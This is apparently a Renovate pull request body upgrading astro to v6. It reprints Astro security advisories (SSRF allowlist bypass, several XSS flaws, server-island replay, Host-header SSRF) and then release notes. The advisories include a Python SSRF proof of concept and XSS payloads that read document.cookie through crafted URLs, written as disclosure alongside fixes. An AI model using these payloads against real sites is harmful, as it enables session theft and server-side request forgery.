chore(deps): update devdependency astro to v6 [security]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
astro (source)	^5.13.2 → ^6.0.0

---

Astro: Remote allowlist bypass via unanchored matchPathname wildcard

CVE-2026-33769 / GHSA-g735-7g2w-hh3f

More information

Details

Summary

This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Impact

Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

Description

Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56

const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
  return new Response('Forbidden', { status: 403 });
}

isRemoteAllowed() checks each remotePattern via matchPattern():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21

export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
  return (
    matchProtocol(url, remotePattern.protocol) &&
    matchHostname(url, remotePattern.hostname, true) &&
    matchPort(url, remotePattern.port) &&
    matchPathname(url, remotePattern.pathname, true)
  );
}

The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99

} else if (pathname.endsWith('/*')) {
  const slicedPathname = pathname.slice(0, -1); // * length
  const additionalPathChunks = url.pathname
    .replace(slicedPathname, '')
    .split('/')
    .filter(Boolean);
  return additionalPathChunks.length === 1;
}

Vulnerable code flow:

1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
4. The image endpoint fetches and returns the remote resource.

PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config

import { defineConfig } from 'astro/config';
import node from '@​astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
    ],
  },
});

Affected pages

This PoC targets the /_image endpoint directly; no additional pages are required.

PoC Code

import http.client
import json
import urllib.parse

HOST = "127.0.0.1"
PORT = 4321

def fetch(path: str) -> dict:
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
    resp = conn.getresponse()
    body = resp.read(2000).decode("utf-8", errors="replace")
    conn.close()
    return {
        "path": path,
        "status": resp.status,
        "reason": resp.reason,
        "headers": dict(resp.getheaders()),
        "body_snippet": body[:400],
    }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

##### Both pass, second should fail

results = {
    "allowed": fetch(f"/_image?href={allowed}&f=svg"),
    "bypass": fetch(f"/_image?href={bypass}&f=svg"),
}

print(json.dumps(results, indent=2))

Attacker server

from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1"
PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
  <text>OK</text>
</svg>
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f">>> {self.command} {self.path}")
        if self.path.endswith(".svg") or "/img/" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAYLOAD.encode("utf-8"))
            return

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    server = HTTPServer((HOST, PORT), Handler)
    print(f"HTTP logger listening on http://{HOST}:{PORT}")
    server.serve_forever()

PoC Steps

1. Bootstrap default Astro project.
2. Add the vulnerable config and attacker server.
3. Build the project.
4. Start the attacker server.
5. Start the Astro server.
6. Run the PoC.
7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.

Severity

• CVSS Score: 2.9 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f
• https://nvd.nist.gov/vuln/detail/CVE-2026-33769
• https://github.com/withastro/astro

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Astro: XSS in define:vars via incomplete </script> tag sanitization

CVE-2026-41067 / GHSA-j687-52p2-xcff

More information

Details

Summary

The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.

Details

The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/<\/script>/g,       // ← Case-sensitive, exact match only
			'\\x3C/script>',
		)};\n`;
	}
	return markHTMLString(output);
}

This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:

if (name === 'script') {
	delete props.hoist;
	children = defineScriptVars(defineVars) + '\n' + children;
}

The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:

1. Case variations: </Script>, </SCRIPT>, </sCrIpT> — HTML tag names are case-insensitive but the regex has no i flag.
2. Whitespace before >: </script >, </script\t>, </script\n> — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
3. Self-closing slash: </script/> — the tokenizer enters "self-closing start tag" state on /.

JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.

Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElement → defineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.

PoC

Step 1: Create an SSR Astro page (src/pages/index.astro):

---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars=>
    console.log(name);
  </script>
</body>
</html>

Step 2: Ensure SSR is enabled in astro.config.mjs:

export default defineConfig({
  output: 'server'
});

Step 3: Start the dev server and visit:

http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>

Step 4: View the HTML source. The output contains:

<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>

The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.

Alternative bypass payloads:

/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>

Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.

Exploitation enables:

• Session hijacking via cookie theft (document.cookie)
• Credential theft by injecting fake login forms or keyloggers
• Defacement of the rendered page
• Redirection to attacker-controlled domains

The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.

Recommended Fix

Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/</g,
			'\\u003c',
		)};\n`;
	}
	return markHTMLString(output);
}

This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.

Severity

• CVSS Score: 6.1 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

• https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff
• https://nvd.nist.gov/vuln/detail/CVE-2026-41067
• https://github.com/withastro/astro
• https://github.com/withastro/astro/releases/tag/astro@6.1.6

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Astro: Server island encrypted parameters vulnerable to cross-component replay

CVE-2026-45028 / GHSA-xr5h-phrj-8vxv

More information

Details

Impact

Astro versions prior to 6.1.10 used AES-GCM encryption to protect the confidentiality and integrity of server island props and slots parameters, but did not bind the ciphertext to its intended component or parameter type. An attacker could replay one component's encrypted props (p) value as another component's slots (s) value, or vice versa.

Since slots contain raw unescaped HTML while props may contain user-controlled values, this could lead to XSS in applications that meet all of the following conditions:

• The application uses server islands
• Two different server island components share the same key name for a prop and a slot
• An attacker has full control over the value of the overlapping prop (requires a dynamically rendered page)

These conditions are very unlikely to occur in real-world production applications.

Patches

This has been patched in astro@6.1.10.

The fix binds each encrypted parameter to its target component and purpose using AES-GCM authenticated additional data (AAD). Each ciphertext now includes context like props:IslandName or slots:IslandName, so encrypted data for one component cannot be replayed against a different component, and encrypted props cannot be reused as slots.

References

• Fix PR: https://github.com/withastro/astro/pull/16457
• Example demonstrating the vulnerability: https://github.com/CyberSecurityAustria/ACSC2026-web-astronomical

Severity

• CVSS Score: 2.9 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/withastro/astro/security/advisories/GHSA-xr5h-phrj-8vxv
• https://nvd.nist.gov/vuln/detail/CVE-2026-45028
• https://github.com/withastro/astro/pull/16457
• https://github.com/withastro/astro/commit/3d82220a1549e699e34ed433f3846a919f4c02bd
• https://github.com/withastro/astro

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Astro: Reflected XSS via unescaped slot name

CVE-2026-50146 / GHSA-8hv8-536x-4wqp

More information

Details

Summary

When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Vulnerable Code

packages/astro/src/runtime/server/render/component.ts:371:376

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`

I found that key is interpolated directly into the attribute value without proper escaping.

Proof of Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

astro.config.mjs

import react from '@​astrojs/react';
import node from '@​astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  integrations: [react()],
});

src/pages/index.astro

---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
  <Wrapper client:load>
    <div slot={slotName}>content</div>
  </Wrapper>
</body></html>

src/components/Wrapper.jsx

export default function Wrapper() { return null; }

Payload:

abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--

Accessing this URL will trigger the popup.

http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--

This will render in html.

<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>

Fix

I suggest leveraging the existing escape function on the slot name.

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`

---

Severity

• CVSS Score: 7.1 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

References

• https://github.com/withastro/astro/security/advisories/GHSA-8hv8-536x-4wqp
• https://github.com/withastro/astro

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Astro: Host header SSRF in prerendered error page fetch

CVE-2026-54299 / GHSA-2pvr-wf23-7pc7

More information

Details

Summary

Astro SSR apps with prerendered error pages (/404 or /500 using export const prerender = true) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from request.url, which in turn gets its origin from the incoming Host header. When the Host header is not validated against allowedDomains, an attacker can point the fetch at an arbitrary host and read the response.

Who is affected

This affects SSR deployments that:

1. Have a prerendered 404 or 500 page
2. Use createRequestFromNodeRequest from astro/app/node with app.render() without overriding prerenderedErrorPageFetch — this includes custom servers built on the public API and third-party adapters

Not affected:

• @astrojs/node >= 9.5.4 (reads error pages from disk)
• @astrojs/cloudflare (uses the ASSETS binding)
• The dev server (renders error pages in-process)

How it works

createRequestFromNodeRequest builds request.url from the raw Host / :authority header. The allowedDomains option is accepted but only gates X-Forwarded-For — it does not constrain the URL origin. (The public createRequest does fall back to localhost for unvalidated hosts; this internal builder did not.)

When app.render() encounters a 404 or 500 with a prerendered error route, default-handler.ts constructs the error page URL using the origin from request.url and fetches it via prerenderedErrorPageFetch, which defaults to global fetch. The response body is served to the client.

An attacker sends a request with Host: attacker-host:port, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.

Remediation

The error page fetch origin is now validated against allowedDomains before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to localhost. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.

Credit

5ud0 / Tarmo Technologies

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N

References

• https://github.com/withastro/astro/security/advisories/GHSA-2pvr-wf23-7pc7
• https://github.com/withastro/astro

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Astro: XSS via Unescaped Attribute Names in Spread Props

CVE-2026-54298 / GHSA-jrpj-wcv7-9fh9

More information

Details

Summary

The spreadAttributes function in Astro's server-side rendering pipeline iterates over object keys and passes them directly to addAttribute, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax {...props} on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers like onmousemove, onclick, or break out of the attribute context entirely to inject new elements.

Details

The vulnerable function is addAttribute at packages/astro/src/runtime/server/render/util.ts:81-141:

export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') {
    if (value == null) {
        return '';
    }
    
    return markHTMLString(` ${key}="${toAttributeString(value, shouldEscape)}"`); //  key interpolated not escaped
}

This function is called from spreadAttributes at packages/astro/src/runtime/server/index.ts:91-92:

for (const [key, value] of Object.entries(values)) {
    output += addAttribute(value, key, true, _name);
}

The toAttributeString function escapes the attribute value, but the attribute name key is never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers.

Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via {...props}. The compiler generates spreadAttributes(props) which iterates with Object.entries() and calls addAttribute(value, key). The key is interpolated as ` ${key}="${escapedValue}"`. A malicious key breaks attribute context, resulting in XSS.

POC

Create an SSR Astro page (src/pages/index.astro):

---
const props = JSON.parse(Astro.url.searchParams.get('props') || '{}');
---
<html>
<body>
  <h1>Hello</h1>
  <div {...props}>Move mouse here</div>
</body>
</html>

Enable SSR in astro.config.mjs (for URL based demo):

export default defineConfig({
  output: 'server'
});

Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters.

Start the dev server and visit:

http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""}

URL encoded:

http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7D

View the HTML source. The output contains:

<div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div>

The key x" onmousemove="alert(document.cookie)" y breaks out of the attribute context. Moving the mouse over the div executes the JavaScript.

Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains.

The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments.

Severity

• CVSS Score: 4.2 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

References

• https://github.com/withastro/astro/security/advisories/GHSA-jrpj-wcv7-9fh9
• https://github.com/withastro/astro

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

withastro/astro (astro)

v6.4.6

Compare Source

Patch Changes

• #​16765 b10e86e Thanks @​fkatsuhiro! - Fixes an issue where renaming an image file while the dev server is running triggers a build error. Now Astro correctly hot-reloads the image without crashing.

• #​17026 add3df1 Thanks @​matthewp! - Hardens addAttribute to drop attribute names containing characters that are invalid per the HTML spec (", ', >, /, =, whitespace)

• #​17033 ffda27b Thanks @​matthewp! - Validates the request origin against allowedDomains before fetching prerendered error pages. When allowedDomains is configured and the Host header matches, the original origin is used. Otherwise, the fetch falls back to localhost.

v6.4.5

Compare Source

Patch Changes

• #​16985 4ecff32 Thanks @​maximslo! - Fixes the experimental.logger destination not being used for the "Server listening on..." startup message. The logger is now resolved before the server starts listening, and adapterLogger re-creates itself when the underlying logger changes so the startup message uses the correct destination.

• #​16947 e0703a6 Thanks @​ematipico! - Fixes Astro.request.url not reflecting validated X-Forwarded-Proto/X-Forwarded-Host headers when security.allowedDomains is configured. Previously, only Astro.url was updated with the forwarded origin while Astro.request.url retained the socket-derived URL, causing the two to diverge behind TLS-terminating proxies.

• #​16997 dc45246 Thanks @​matthewp! - Reverts a change to isNode runtime detection that caused a significant build time regression for Cloudflare adapter users with large prerendered sites

v6.4.4

Compare Source

Patch Changes

• #​16926 1b39ae8 Thanks @​narendraio! - Prevents App.match() from throwing on request paths that contain an invalid percent-sequence.

• #​16924 2c0bc94 Thanks @​astrobot-houston! - Fixes an issue where editing a client-side component (e.g. with client:idle, client:load, etc.) caused an unnecessary full program reload of the backend during development.

• #​16958 2c1d50f Thanks @​fkatsuhiro! - Fixes a bug where static file endpoints using getStaticPaths with .html in dynamic param values (e.g. { path: 'file.html' }) would fail with a NoMatchingStaticPathFound error during build. The .html suffix is no longer incorrectly stripped from endpoint route pathnames.

• #​16855 c610cda Thanks @​astrobot-houston! - Fixes dynamic routes returning 500 "TypeError: Missing parameter" when using domain-based i18n routing in SSR.

• #​16946 606c37b Thanks @​ematipico! - Fixes Astro.routePattern to preserve original casing of dynamic parameter names from filenames. Previously, a file at src/pages/blog/[postId].astro would return /blog/[postid] for Astro.routePattern due to an internal .toLowerCase() call. It now correctly returns /blog/[postId].

• #​16720 16d49b6 Thanks @​thomas-callahan-collibra! - Fix an issue where dynamic routes would return the string [object Object] instead of the expected content, in certain runtimes.

• #​16703 17390a6 Thanks @​henrybrewer00-dotcom! - Fixes styles being stripped when the project root is started with a path whose case differs from the actual filesystem case (e.g. running astro dev from d:\dev\app while the folder on disk is D:\dev\app).

• #​16855 c610cda Thanks @​astrobot-houston! - Fixes Astro.currentLocale returning the default locale instead of the domain's locale on dynamic routes served from a mapped domain.

v6.4.3

Compare Source

Patch Changes

• #​16900 17a0fbd Thanks @​ocavue! - Bumps devalue dependency to v5.8.1

• #​16016 0d85e1b Thanks @​felmonon! - Fix a false positive in the dev toolbar accessibility audit for anchors with text inside closed <details> elements.

• #​16911 79c6c46 Thanks @​astrobot-houston! - Fixes a bug where experimental.advancedRouting with astro/hono handlers threw TypeError: Cannot read properties of undefined (reading 'route') for unmatched routes instead of rendering the custom 404 page.

• #​16899 239c469 Thanks @​matthewp! - Fixes a false "does not call the middleware() handler" warning when using astro() in a custom src/app.ts and the first request is a redirect route.

• #​16887 493acdb Thanks @​astrobot-houston! - Fixes redirectToDefaultLocale not working after the Advanced Routing refactoring.

• #​16908 ef53ab9 Thanks @​florian-lefebvre! - Improves optimized fallbacks generation when using the Fonts API by using better metrics for bold variants

v6.4.2

Patch Changes

• #​16889 b94bcfd Thanks @​Princesseuh! - Fixes a plugins is not iterable crash when using a pre-6.0 @astrojs/mdx alongside integrations (e.g. Starlight) that set markdown.remarkPlugins, markdown.rehypePlugins, or markdown.remarkRehype.

• #​16878 b9f6bb9 Thanks @​fkatsuhiro! - Fixes an issue where on-demand (SSR) dynamic routes would return 404 when a prerendered dynamic route with the same URL pattern was sorted first alphabetically. In production builds with @astrojs/node adapter, if [a_prebuild].astro (prerender=true) came before [b_ssr].astro alphabetically, requests to URLs not in the prerendered route's static paths would 404 instead of falling through to the SSR route. The fix adds fallthrough logic so that when a prerendered dynamic route matches but can't serve the request, Astro tries subsequent matching routes.

v6.4.1

Patch Changes

• #​16883 eeb064c Thanks @​Princesseuh! - Restores the astro/jsx/rehype.js entry point so that older versions of @astrojs/mdx continue to work when used with Astro 6.x. This entry point will be removed in Astro 7.0.

v6.4.0

Compare Source

Minor Changes

• #​16468 4cff3a1 Thanks @​matthewp! - Adds a new preserveBuildServerDir adapter feature

  Adapters can now set preserveBuildServerDir: true in their adapter features to keep the dist/server/ directory structure for static builds, mirroring the existing preserveBuildClientDir option. This is useful for adapters that require a consistent dist/client/ and dist/server/ layout regardless of build output type.

  setAdapter({
    name: 'my-adapter',
    adapterFeatures: {
      buildOutput,
      preserveBuildClientDir: true,
      preserveBuildServerDir: true,
    },
  });

• #​16848 f732f3c Thanks @​Princesseuh! - Adds a new markdown.processor configuration option, allowing you to choose an alternative Markdown processor.

  Websites with many Markdown/MDX files tend to be slow to build because the unified ecosystem (e.g., remark, rehype) is slow to process. This feature introduces the ability to replace this part of the build pipeline with another processor.

  The default processor is unified(). This means that existing configurations remain unchanged and your remark/rehype plugins continue to work.

  // astro.config.mjs
  import { defineConfig } from 'astro/config';
  import { unified } from '@​astrojs/markdown-remark';
  import remarkToc from 'remark-toc';
  
  export default defineConfig({
    markdown: {
      processor: unified({
        remarkPlugins: [remarkToc],
      }),
    },
  });

  In addition to this new configuration option, Astro provides a new alternative processor based on Rust: Sätteri. You can choose to use it now by installing @astrojs/markdown-satteri, importing the satteri() processor, and adapting your existing configuration:

  // astro.config.mjs
  import { defineConfig } from 'astro/config';
  import { satteri } from '@​astrojs/markdown-satteri';
  
  export default defineConfig({
    markdown: {
      processor: satteri({
        features: { directive: true },
      }),
    },
  });

  This processor does not support the remark and rehype plugins. This means you may need to convert them to MDAST or HAST plugins to retain your current functionality.

  The existing top-level markdown.remarkPlugins, markdown.rehypePlugins, markdown.remarkRehype, markdown.gfm, and markdown.smartypants options still work, but are now deprecated and will be removed in a future major update. The matching remarkPlugins, rehypePlugins, and remarkRehype options on the MDX integration are also deprecated for the same reason. To anticipate their removal, move them onto unified({...}) (or your preferred plugin processor) :

  // astro.config.mjs
  import { defineConfig } from 'astro/config';
  import remarkToc from 'remark-toc';
  import rehypeSlug from 'rehype-slug';
  + import { unified } from '@​astrojs/markdown-remark';
  
  export default defineConfig({
    markdown: {
  +    processor: unified({
  +      remarkPlugins: [remarkToc],
  +      rehypePlugins: [rehypeSlug],
  +      remarkRehype: true,
  +      gfm: true,
  +      smartypants: true,
  +    }),
  -    remarkPlugins: [remarkToc],
  -    rehypePlugins: [rehypeSlug],
  -    remarkRehype: true,
  -    gfm: true,
  -    smartypants: true,
    },
  });

  For more information on enabling and using this feature in your project, see our Markdown guide. To give feedback on this new Rust processor, see the Native Markdown / MDX parsing and processing RFC.

Patch Changes

• #​16468 4cff3a1 Thanks @​matthewp! - Skips the static preview server when an adapter provides its own previewEntrypoint, allowing the adapter to handle both static and dynamic routes

• #​16811 e0e26db Thanks @​matthewp! - Fixes X-Forwarded-Host and X-Forwarded-Proto headers being ignored when set in a custom src/app.ts fetch handler before creating FetchState

• #​16468 4cff3a1 Thanks @​matthewp! - Fixes the static preview server to respect preserveBuildClientDir, serving files from build.client instead of outDir when the adapter requires it

• #​16770 1e2aa11 Thanks @​matthewp! - Fixes a race condition where the Vite dep optimizer could lose React dependencies in dev mode when using Astro Actions

• #​16468 4cff3a1 Thanks @​matthewp! - Exempts internal routes (e.g. server islands) from getStaticPaths() validation, fixing server island rendering on static sites

• #​16468 4cff3a1 Thanks @​matthewp! - Fixes preview for static sites that contain non-prerendered routes. Previously, the preview command ignored SSR routes discovered during route scanning and always used the static preview server.

• Updated dependencies [f732f3c, f732f3c]:

  • @​astrojs/internal-helpers@​0.10.0
  • @​astrojs/markdown-remark@​7.2.0

v6.3.8

Compare Source

Patch Changes

• #​16830 f2bf3cb Thanks @​matthewp! - Fixes 404s for dynamically imported JS chunks when using an adapter with assetQueryParams (e.g. Vercel skew protection)

• #​16831 ace96ba Thanks @​astrobot-houston! - Fixes a misleading GetStaticPathsRequired error when a redirect is configured from a dynamic route to a static (or less-dynamic) destination. For example, '/project/[slug]': '/' previously produced a confusing error pointing at index.astro. Astro now detects the parameter mismatch at config validation time and throws a clear InvalidRedirectDestination error naming the missing parameters.

• #​16702 b7d1758 Thanks @​matthewp! - Fixes scoped styles from .astro components being dropped when rendered inside MDX content (<Content /> from render(entry)) passed through a named slot using <Fragment slot="X">. The Fragment component now eagerly evaluates its slot contents to ensure propagating components register their styles before head content is flushed.

• #​16823 3df6a45 Thanks @​astrobot-houston! - Fixes missing CSS for conditionally rendered Svelte components in production builds

• #​16836 3d7adfa Thanks @​LongYC! - Document compressHTML: "jsx" config is only available since Astro v6.2.0

• #​16864 334ce13 Thanks @​cheets! - Fixes a false-positive Internal Warning: route cache overwritten logged on every SSR request for dynamic routes

v6.3.7

Compare Source

Patch Changes

• #​16821 9c76b12 Thanks @​astrobot-houston! - Fixes request body handling in the Node adapter when req.body is a Buffer, Uint8Array, or ArrayBuffer. Previously, binary body data was incorrectly JSON-stringified (producing {"type":"Buffer","data":[...]}) instead of being passed through directly. This affected libraries like serverless-http that set req.body to a Buffer.

• #​16785 de96360 Thanks @​astrobot-houston! - Fixes vite.build.minify, vite.build.sourcemap, and vite.build.rollupOptions.output (e.g. compact) being ignored for client-side builds. These top-level Vite build options are now properly forwarded to the client environment, with environment-specific overrides (vite.environments.client.build.*) taking priority when set.

• #​16819 b5dd8f1 Thanks @​astrobot-houston! - Fixes custom elements in MDX files bypassing the renderer pipeline. Custom elements (tags containing hyphens like <my-element>) in .mdx files are now routed through registered renderers for SSR, matching the behavior of .astro files. If no renderer claims the element, it falls back to rendering as raw HTML.

• #​16808 765896c Thanks @​ematipico! - Fixes dynamic routes returning 400 Bad Request when the URL contains a literal % character, such as paths built with encodeURIComponent('%?.pdf')

• #​16804 90d2aca Thanks @​jp-knj! - Fixes a v6 regression where astro:i18n could not be imported from client <script> blocks.

v6.3.6

Compare Source

Patch Changes

• #​16774 8f77583 Thanks @​astrobot-houston! - Fixes markdown images with empty alt text (![](image.jpg)) in content collections dropping the alt attribute entirely. The alt="" attribute is now correctly preserved in the rendered HTML output, which is important for accessibility (indicating decorative images).

• #​16776 3d10b5e Thanks @​matthewp! - Fixes HMR serving stale content when components are passed as props via getStaticPaths()

• #​16784 7453860 Thanks @​ematipico! - Improved the printing of the build time if it goes over the 60 seconds.

• #​16665 3dbbcee Thanks @​Princesseuh! - Fixes remote SVG sources erroring with dangerouslyProcessSVG after the v6.3 SVG-processing gate. The default Sharp service now resolves the output format from the source up-front when it can (URL extension, data: MIME, ESM metadata), and from the actual buffer at request time when it can't, so SVG sources pass through untouched without needing to set image.dangerouslyProcessSVG: true or an explicit format="svg".

  The error message has also been updated to point at format="svg" as the simpler workaround when an SVG source is encountered without dangerouslyProcessSVG enabled.

• #​16777 1754b91 Thanks @​matthewp! - Fixes HMR serving stale content for dynamically imported components through barrel files

• #​16730 068d924 Thanks @​harshagarwalnyu! - Fixes an issue where the file() content loader did not generate a valid JSON Schema for collections whose JSON or YAML data is a top-level array instead of an object.

v6.3.5

Compare Source

Patch Changes

• #​16771 07c8805 Thanks @​ematipico! - Fixes position prop on <Image> and <Picture> components breaking Content Security Policy (CSP).

• #​16593 50924ce Thanks @​yanthomasdev! - Improves error messages with more consistent and correct writing.

• #​16757 5d661cd Thanks @​astrobot-houston! - Fixes dev server serving stale content when SSR-only modules change (e.g. .astro files outside the project root in a monorepo, or dynamically imported components).

  Previously, the astro:hmr-reload plugin returned an empty array after detecting SSR-only module changes, which prevented Vite's updateModules from propagating the invalidation to the SSR module runner. The runner's evaluated module cache stayed stale, so subsequent requests continued returning old content.

  Now the plugin returns the SSR-only modules so Vite can process them through updateModules, which properly invalidates the module runner's cache and ensures fresh content on the next request.

v6.3.4

